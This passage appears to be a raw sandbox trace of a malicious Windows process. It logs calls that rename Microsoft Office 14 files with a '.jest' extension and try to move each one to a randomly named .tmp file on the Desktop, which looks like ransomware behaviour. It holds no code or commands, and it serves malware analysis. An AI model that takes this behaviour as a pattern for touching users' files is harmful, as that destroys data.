ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css.jest")) returned 1 [0164.639] VarBstrFromR4 (in: fltIn=0x47945726, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.3") returned 0x0 [0164.640] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DqVhDj9vEY-iuKFKdEctdaorndxJsX KZKxI1XUHtjcLYHRCzotuOqaPz5bC6F3Ce9TnOwJ6sxIbafWW896GLBYJ9ik rGrlWiyd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dqvhdj9vey-iukfkdectdaorndxjsx kzkxi1xuhtjclyhrczotuoqapz5bc6f3ce9tnowj6sxibafww896glbyj9ik rgrlwiyd.tmp")) returned 0 [0164.640] GetLastError () returned 0x2 [0164.641] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.652] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css.jest")) returned 1 [0164.654] VarBstrFromR4 (in: fltIn=0x47945728, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.31") returned 0x0 [0164.656] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1WYt5d6wu_5e2hc2Iwe8bA9K0HQyIWbghTgxpGtUbugx5wdQVfzW8Xv8IUZacxuhXWBcz25oVQEr7PyiDhRM-twS5K-yBSdWqYJ8k.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1wyt5d6wu_5e2hc2iwe8ba9k0hqyiwbghtgxpgtubugx5wdqvfzw8xv8iuzacxuhxwbcz25ovqer7pyidhrm-tws5k-ybsdwqyj8k.tmp")) returned 0 [0164.656] GetLastError () returned 0x2 [0164.656] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.669] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css.jest")) returned 1 [0164.671] VarBstrFromR4 (in: fltIn=0x4794572a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.33") returned 0x0 [0164.672] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JGPWF TWnMAPZ-uLRJg5XuTfORrC73ozsIrE8V gihPE21TsnCL5pNrvx3iRd42K3twCP mF6l_3E388RAnWlO18rI8hHRjQt4m0G.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jgpwf twnmapz-ulrjg5xutforrc73ozsire8v gihpe21tsncl5pnrvx3ird42k3twcp mf6l_3e388ranwlo18ri8hhrjqt4m0g.tmp")) returned 0 [0164.673] GetLastError () returned 0x2 [0164.675] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.676] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml.jest")) returned 1 [0164.678] VarBstrFromR4 (in: fltIn=0x4794572a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.33") returned 0x0 [0164.679] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s4A0zuvVGNq06UUb_6gH12igf sGDmCckU6P3ixxJgmO5A4WSBtJ2XUjiVN9UsUedIJ4le9QOyprV7X6CtB77m2iqPkHcNGEFoYrb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s4a0zuvvgnq06uub_6gh12igf sgdmccku6p3ixxjgmo5a4wsbtj2xujivn9usuedij4le9qoyprv7x6ctb77m2iqpkhcngefoyrb.tmp")) returned 0 [0164.679] GetLastError () returned 0x2 [0164.680] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.681] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg.jest")) returned 1 [0164.684] VarBstrFromR4 (in: fltIn=0x4794572c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.34") returned 0x0 [0164.685] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jxHfX_MBioY_On7ftyz1 qLJ_IflnwEhMC8URYGuXa77jXs3qvwgrWon e3Y924 5nQ3DRLSMZnck cF LwVnAKlcLEmY -5Uqe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jxhfx_mbioy_on7ftyz1 qlj_iflnwehmc8uryguxa77jxs3qvwgrwon e3y924 5nq3drlsmznck cf lwvnaklclemy -5uqe.tmp")) returned 0 [0164.685] GetLastError () returned 0x2 [0164.687] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="️", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.689] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg.jest")) returned 1 [0164.694] VarBstrFromR4 (in: fltIn=0x4794572c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.34") returned 0x0 [0164.695] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WFJLriEEDc8Itl_RRMkUgVGRnXEN9RBKBfiOKwkO5QPuhhiGj9rrZxCV- MsRauMblUSs05QmCj0E_96H-RbfGELVuz9vbk9YNZbC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wfjlrieedc8itl_rrmkugvgrnxen9rbkbfiokwko5qpuhhigj9rrzxcv- msraumbluss05qmcj0e_96h-rbfgelvuz9vbk9ynzbc.tmp")) returned 0 [0164.695] GetLastError () returned 0x2 [0164.696] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.697] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg.jest")) returned 1 [0164.702] VarBstrFromR4 (in: fltIn=0x4794572e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.36") returned 0x0 [0164.703] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H-o2PDpe3WCtRJHih3vumOr2OzHSTHKPo4EKPvZq9X9-sa63UD6fEH6JgWKt6JJz8HhGZcS59AVhjzXb pKep idmOWCSAc4lzCrZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h-o2pdpe3wctrjhih3vumor2ozhsthkpo4ekpvzq9x9-sa63ud6feh6jgwkt6jjz8hhgzcs59avhjzxb pkep idmowcsac4lzcrz.tmp")) returned 0 [0164.703] GetLastError () returned 0x2 [0164.704] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="️", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.730] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg.jest")) returned 1 [0164.732] VarBstrFromR4 (in: fltIn=0x47945732, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.39") returned 0x0 [0164.734] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QSZUmavpXq2gbSzPgrPoHzfnhXGHZ c4SioAsBSAgmn hDZpiE2ZKyMB5hgXBnVMmFmmluxuOPcvrJuNOGiZBXvyKzzGADCvVhU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qszumavpxq2gbszpgrpohzfnhxghz c4sioasbsagmn hdzpie2zkymb5hgxbnvmmfmmluxuopcvrjunogizbxvykzzgadcvvhu.tmp")) returned 0 [0164.734] GetLastError () returned 0x2 [0164.735] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.767] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml.jest")) returned 1 [0164.817] VarBstrFromR4 (in: fltIn=0x4794573c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.47") returned 0x0 [0164.822] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LgkK T000t-KGnERm-BrydHz VLQMOK121T5 vXR56T6xH7VqEbArpSshzRyTc0_6O-ElXQk2JCViGPuKSiiakDGx2Dux5KW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lgkk t000t-kgnerm-brydhz vlqmok121t5 vxr56t6xh7vqebarpsshzrytc0_6o-elxqk2jcvigpuksiiakdgx2dux5kw.tmp")) returned 0 [0164.822] GetLastError () returned 0x2 [0164.826] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.827] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.jest")) returned 1 [0164.837] VarBstrFromR4 (in: fltIn=0x4794573e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.48") returned 0x0 [0164.839] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xuLhEYVRTh40XTU0ZtRkPcxrY cgcAjeSti3MJ0u1pIWhU BybcuLrU9W96gbVFlayptVr-hF49 q 1DU9KKtPzcU4c_g9xkH41q2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xulheyvrth40xtu0ztrkpcxry cgcajesti3mj0u1piwhu bybculru9w96gbvflayptvr-hf49 q 1du9kktpzcu4c_g9xkh41q2.tmp")) returned 0 [0164.839] GetLastError () returned 0x2 [0164.839] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.840] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.jest")) returned 1 [0164.842] VarBstrFromR4 (in: fltIn=0x47945740, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.5") returned 0x0 [0164.843] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JBPktT4EBDVHrKAM873rsGUpfYC3_LTf8dRShOuCdkD3BvPiRUqvmwJd8Es4KHdMCCzLHeffYPe6h74jTLThbMTrM1zXuOZzdiqUY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jbpktt4ebdvhrkam873rsgupfyc3_ltf8drshoucdkd3bvpiruqvmwjd8es4khdmcczlheffype6h74jtlthbmtrm1zxuozzdiquy.tmp")) returned 0 [0164.843] GetLastError () returned 0x2 [0164.844] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.845] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.jest")) returned 1 [0164.847] VarBstrFromR4 (in: fltIn=0x47945740, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.5") returned 0x0 [0164.848] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Zhp0-uWDNWATiwUf__mVJJ Pv kU-7 Trs9eDMdFI 9ShQDCkGEVguxDff5Dj5A2RZ6_8-TfQ7C_uCpF0i CHcH6WTZuX3_gcOd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zhp0-uwdnwatiwuf__mvjj pv ku-7 trs9edmdfi 9shqdckgevguxdff5dj5a2rz6_8-tfq7c_ucpf0i chch6wtzux3_gcod.tmp")) returned 0 [0164.848] GetLastError () returned 0x2 [0164.848] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.855] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.jest")) returned 1 [0164.857] VarBstrFromR4 (in: fltIn=0x47945742, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.52") returned 0x0 [0164.858] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lW8ENEkXdcXy2x r2UnEeVJ9KSOM R5Gf m1XB7ov p S_TNoGgNArhwwwUEbFv6bzyn2KFOEPFRjkCPFCMXTeDLXZhNHoHG7bTM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lw8enekxdcxy2x r2uneevj9ksom r5gf m1xb7ov p s_tnoggnarhwwwuebfv6bzyn2kfoepfrjkcpfcmxtedlxzhnhohg7btm.tmp")) returned 0 [0164.859] GetLastError () returned 0x2 [0164.859] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.jest")) returned 1 [0164.889] VarBstrFromR4 (in: fltIn=0x47945746, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.55") returned 0x0 [0164.890] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3ow4ACh7z3ZSyInpNqNxur3lXuLobSf-rywkN-hDGb 3UAO8oRPPq7W7dli65FkWq QZtx0QQH7F9YlNQiTZwHA7F_4iXRN4pZRY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ow4ach7z3zsyinpnqnxur3lxulobsf-rywkn-hdgb 3uao8orppq7w7dli65fkwq qztx0qqh7f9ylnqitzwha7f_4ixrn4pzry.tmp")) returned 0 [0164.890] GetLastError () returned 0x2 [0164.891] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.903] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 